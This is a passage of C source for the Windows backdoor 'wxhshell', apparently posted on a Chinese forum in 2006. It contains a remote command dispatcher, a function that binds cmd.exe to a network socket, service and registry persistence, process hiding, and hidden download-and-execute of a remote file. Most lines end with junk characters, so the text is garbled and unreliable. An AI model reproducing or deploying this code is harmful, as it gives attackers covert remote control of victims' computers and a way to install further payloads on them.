    switch(cmd[0]) { )tS;gn  
  Bob-qCBV  
  // 帮助 *l%&/\  
  case '?': { j0{Qy;wP )  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r'o378]=  
    break; 5e?<x>e  
  } P%!=Rj^2m  
  // 安装 xm=$D6O:  
  case 'i': { "];@N!dA  
    if(Install()) 2,|;qFJY-@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `'pAiu  
    else H_aG\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %E [HMq<H  
    break; *=T(ncR['  
    } V"}Jsr  
  // 卸载 :V_UJ3xf  
  case 'r': { !*?9n ^PaF  
    if(Uninstall()) n@q- f-2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Ml5QO$*.q  
    else 2Je]dj4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MY}K.^ 4^  
    break; P^ <to(|  
    } ki1j~q  
  // 显示 wxhshell 所在路径 *D9H3M[o#  
  case 'p': { 7lKatk+7K  
    char svExeFile[MAX_PATH]; roBb8M|q  
    strcpy(svExeFile,"\n\r"); K5jeazasp  
      strcat(svExeFile,ExeFile); Ap4.c8f?Q-  
        send(wsh,svExeFile,strlen(svExeFile),0); }u{gQlV  
    break; P|C5k5  
    } S.<4t*,  
  // 重启 sc6NON#  
  case 'b': { :AI%{EV-L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'G>9iw  
    if(Boot(REBOOT)) a(ml#-M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m^,VEV>  
    else { w8 `1'*HG  
    closesocket(wsh); 8lA,3'z  
    ExitThread(0); Ki&a"Fu3  
    } {esb"beGLa  
    break; Zs,6}m\  
    } -~X[j2  
  // 关机 SQ/HZ  
  case 'd': { vJV/3-yX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \<G"9w  
    if(Boot(SHUTDOWN)) *v?kp>O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "^;h'  
    else { !]RSG^%s{  
    closesocket(wsh);  ARs]qUY  
    ExitThread(0); <^_crJONom  
    } y~VI,82*  
    break; /SQ/$`1{  
    } vAqj4:j  
  // 获取shell 1xkrh qq  
  case 's': { \j3dB tc  
    CmdShell(wsh); *c&|2EsZ  
    closesocket(wsh); 5C^@w  
    ExitThread(0); =Vazxt@[  
    break; 3JkdPh  
  } e?*Teb ?R  
  // 退出 9cU9'r# h  
  case 'x': { 3eXIo=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GG +T-  
    CloseIt(wsh); %~gI+0HK  
    break;  KLE)+|  
    } =6"5kz10  
  // 离开 Eh|,[ D!E  
  case 'q': { j0V/\Ep)T<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %'Q2c'r  
    closesocket(wsh); Xc}XRKiy{  
    WSACleanup(); IF\ @uo`  
    exit(1); pRL:,q\  
    break; %Ta"H3ZW  
        } ~1[n@{*:(  
  } (V]3w  
  } &>E gKL  
fwV2b<[  
  // 提示信息 oOU_ Nay  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y$SUYG'v  
} }2Euz.0  
  } &} `a"tYr  
;l ZKgi8`  
  return; wWiYxBeN  
} p'1/J:EnV  
tqCkqmyC  
// shell模块句柄 IDFzyg_  
int CmdShell(SOCKET sock) 4gsQ:3  
{ G8klWZAJ  
STARTUPINFO si; ?4Rd4sIM$u  
ZeroMemory(&si,sizeof(si)); FiUwy/,ZV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; | |awNSt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %xOxMK@  
PROCESS_INFORMATION ProcessInfo; >RAg63!`  
char cmdline[]="cmd"; t^FE]$,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KvPCb%!ZP  
  return 0; ce}A!v  
} fs&$?mHL){  
x5BS|3W$a  
// 自身启动模式 #X?[")R  
int StartFromService(void) M K)}zjw  
{ aaT3-][  
typedef struct W/>a 1  
{ to</  
  DWORD ExitStatus; -ZZJk-::  
  DWORD PebBaseAddress; %\HPYnIe  
  DWORD AffinityMask; c]aU}[s1  
  DWORD BasePriority; m{ !$_z8:  
  ULONG UniqueProcessId; pF-_yyQ  
  ULONG InheritedFromUniqueProcessId; {L%JDJ  
}   PROCESS_BASIC_INFORMATION; `hkvxt  
R P<M  
PROCNTQSIP NtQueryInformationProcess; %bN{FKNN  
h]ae^M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZZI} Ot{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jc Mn   
B=& [Z2  
  HANDLE             hProcess; VPYLDg.'  
  PROCESS_BASIC_INFORMATION pbi; F{E@snc  
K {v^Y,B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y $v#>w_M  
  if(NULL == hInst ) return 0; N wk  
SefhOh^,V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O@a OKk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .eD&UQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xOj#%;  
S u6kpC!EW  
  if (!NtQueryInformationProcess) return 0; `+n#CWZ"Y  
M1-tRF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ="& GU%$  
  if(!hProcess) return 0; B+Qf? 1f  
Cy$~H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >ceC8"}J5M  
m 1; Htw  
  CloseHandle(hProcess); uD=Kar  
6GunEYK!N8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Eb4NPWo  
if(hProcess==NULL) return 0; vkTu:3Qe  
O~V^]   
HMODULE hMod; ZL<X* l2  
char procName[255]; >=;-:  
unsigned long cbNeeded; Az:~|P  
lz#.f,h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {im?tZ,  
%akW43cE  
  CloseHandle(hProcess); )v_Wn[Y.H  
Gkuqe3  
if(strstr(procName,"services")) return 1; // 以服务启动 G|Et'k.F4  
OXrm!'  
  return 0; // 注册表启动 V0,JTWc  
} jSE)&K4nI  
v3Vve:}+  
// 主模块 Ct)58f2  
int StartWxhshell(LPSTR lpCmdLine) 90W= v*  
{ ]Wkgpfd56  
  SOCKET wsl; D2&d",%&f  
BOOL val=TRUE; qG;tD>jy  
  int port=0; 1}wDc$O  
  struct sockaddr_in door; ik(YJw'i7E  
Qpmq@iL  
  if(wscfg.ws_autoins) Install(); hE(R[hc  
'/8/M{`s  
port=atoi(lpCmdLine); 0 (-4"u>?  
%oa@2qJ^  
if(port<=0) port=wscfg.ws_port; USyc D`  
~ q-Z-MA  
  WSADATA data; I+kAy;2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9$HKP9G  
<Tgy$Hm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =_-u;w1D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); % vUU Fub  
  door.sin_family = AF_INET; y`n?f|nf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q")Xg:  
  door.sin_port = htons(port); J;_4 3eS  
5m~9Vl-&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Qz|T0\=V  
closesocket(wsl); ?. ` ga*   
return 1; 0}<blU  
} EF :g0$  
=8 @DYz'  
  if(listen(wsl,2) == INVALID_SOCKET) { 6ncwa<q5  
closesocket(wsl); s*Qyd{"z  
return 1; ,VVA^'+  
} iG54 +]  
  Wxhshell(wsl); &233QRYM  
  WSACleanup(); nUj`#%  
0L/chP  
return 0; ]\^O(BzB  
As46:<!2  
} q3#[6!  
l-%] f]>  
// 以NT服务方式启动 Fqw4XR_`~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &YY`XEG59O  
{ 4:rwzRDY  
DWORD   status = 0; i+O7,"(@  
  DWORD   specificError = 0xfffffff; gPCf+>X{  
m)L50ot:/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bss2<mqlH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kV1L.Xg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =OF hM7  
  serviceStatus.dwWin32ExitCode     = 0; \#%GVru!  
  serviceStatus.dwServiceSpecificExitCode = 0; W2X`%Tx0  
  serviceStatus.dwCheckPoint       = 0; } TUr96  
  serviceStatus.dwWaitHint       = 0; a9e0lW:=c  
:8@)W<>%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  E& cC2(w  
  if (hServiceStatusHandle==0) return; 1?&|V1vc  
(NFrZ0  
status = GetLastError(); b, a7XANsh  
  if (status!=NO_ERROR) ftRFG  
{ EmT_T 3v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GU> j8.  
    serviceStatus.dwCheckPoint       = 0; 7<WUj K|  
    serviceStatus.dwWaitHint       = 0; e;XRH<LhAU  
    serviceStatus.dwWin32ExitCode     = status; gf>H-718F  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ct-eD-X{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [j/|)cj  
    return; 15jQ87)  
  } s]99'Q",  
P0m9($JBD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W<)nC_$  
  serviceStatus.dwCheckPoint       = 0; v`K%dBa  
  serviceStatus.dwWaitHint       = 0; /g>-s&w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !$l<'K$  
} 8WV5'cX  
`WH$rx!  
// 处理NT服务事件,比如:启动、停止 UY9*)pEE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .pPuBJL]<  
{ {v'eP[  
switch(fdwControl) ,Gv}N&  
{ .iR<5.  
case SERVICE_CONTROL_STOP: M <JX  
  serviceStatus.dwWin32ExitCode = 0; 1f+A_k/@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @cIYS%iZ  
  serviceStatus.dwCheckPoint   = 0; :"# "{P  
  serviceStatus.dwWaitHint     = 0; xKE=$SV(  
  { fSd|6iFH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KC}G_"f.$  
  } S8AbLl9G@>  
  return; <k8WnA ~Fl  
case SERVICE_CONTROL_PAUSE: a^LckHPI>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NpGi3>5  
  break; Pteti  
case SERVICE_CONTROL_CONTINUE: 5)Z=FUupA~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j_,/U^Ws|f  
  break; 873 bg|^hs  
case SERVICE_CONTROL_INTERROGATE: yg8= G vO  
  break; xkFa  
}; Lbo3fwW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YSxr(\~j   
} l4$ sku-  
'V%w{ZiiV  
// 标准应用程序主函数 #m{(aa9;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @BLB.=  
{ \y271}'  
!D1#3?L  
// 获取操作系统版本 6, j60`f)  
OsIsNt=GetOsVer(); tt-ci,X+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DXD+,y\=  
\YJQN3^46>  
  // 从命令行安装 <v9IK$J  
  if(strpbrk(lpCmdLine,"iI")) Install(); {.oz^~zs]g  
qPz_PRje  
  // 下载执行文件 Pi1LOCq  
if(wscfg.ws_downexe) { >a*dI_XE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LkHH7Pd@  
  WinExec(wscfg.ws_filenam,SW_HIDE); GKEOjaE  
} fk15O_#3  
+ R6X  
if(!OsIsNt) { ';\norx;  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?99r>01>  
HideProc(); lE%KzX?&  
StartWxhshell(lpCmdLine); kK4+K74B  
} 3%r/w7Fc  
else >q?{'#i /  
  if(StartFromService()) sa<\nH$_X  
  // 以服务方式启动 7)}_'p  
  StartServiceCtrlDispatcher(DispatchTable); _l] 0V g`  
else S=kO9"RB]  
  // 普通方式启动 id+EBVHAd  
  StartWxhshell(lpCmdLine); pRlScD_};  
V%;dTCq  
return 0; 2s,cyCw&  
}
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只看该作者 1 发表于: 2006-10-10
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